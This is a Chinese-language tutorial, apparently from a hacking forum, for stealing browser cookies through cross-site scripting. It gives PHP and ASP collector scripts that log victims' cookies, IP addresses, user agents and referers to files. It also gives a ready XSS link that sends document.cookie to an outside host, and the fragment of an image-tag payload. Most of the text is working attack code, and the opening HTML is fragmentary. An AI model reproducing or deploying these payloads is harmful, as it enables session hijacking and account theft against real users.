:
支援PHP
。
的網頁
PHP Code:
<head>
<meta http-equiv="Content-Language" content="it">
s Stealther - Designed and programmed by R00t[ATI]</title>
</head>
="#C0C0C0">
<p align="center"><font color="#FF0000">COOKIES STEALTHER</font></p>
<p align="center"><font face="Arial" color="#FF0000">By R00T[ATI]</font></p>
<p align="left"> </p>
</body>
<a></a>
documents.php取得cookie的網頁PHP Code:
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$data = $_GET[c];
$time = date("Y-m-d G:i:s A");
$text
= "<br><br>".$time." = ".$ip."<br><br>User
Agent: ".$agent."<br>Referer: ".$referer."<br>Session:
".$data."<br><br><br>";
$file = fopen('vb.php' , 'a');
fwrite($file,$text);
fclose($file);
header("Location: http://www.google.com");
?>
Vb.php檔案是用來收集Cookie和其他資訊。
documents.php檔案用于抓取資料如: IP位址,使用者代理和cookie 。
documents.php?c="+document.cookie;如下例子:
Code:
http://vulnerable-site.com/vulnerable_page.php?vulnerable_method=<script>document.location="http://syshack.sy.funpic.de/documents.php?c="+document.cookie;</script>
當受害者點到這個連結時cookie就被偷走了會存放在vb.php裡面
相關代碼:
?msg='+document.cookie+'" width=0 height=0 border=0 />');</script>
news.asp代碼:
<%
msg=Request.ServerVariables("QUERY_STRING")
testfile=Server.MapPath("cook.txt")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.Writeline(""&msg& "")
thisfile.close
set fs = nothing
%>
PHP版代碼:
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cook.txt', 'a');
fwrite($fp,
'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: '
.$time. '<br> Referer:
'.$referer.'<br><br><br>');
fclose($fp);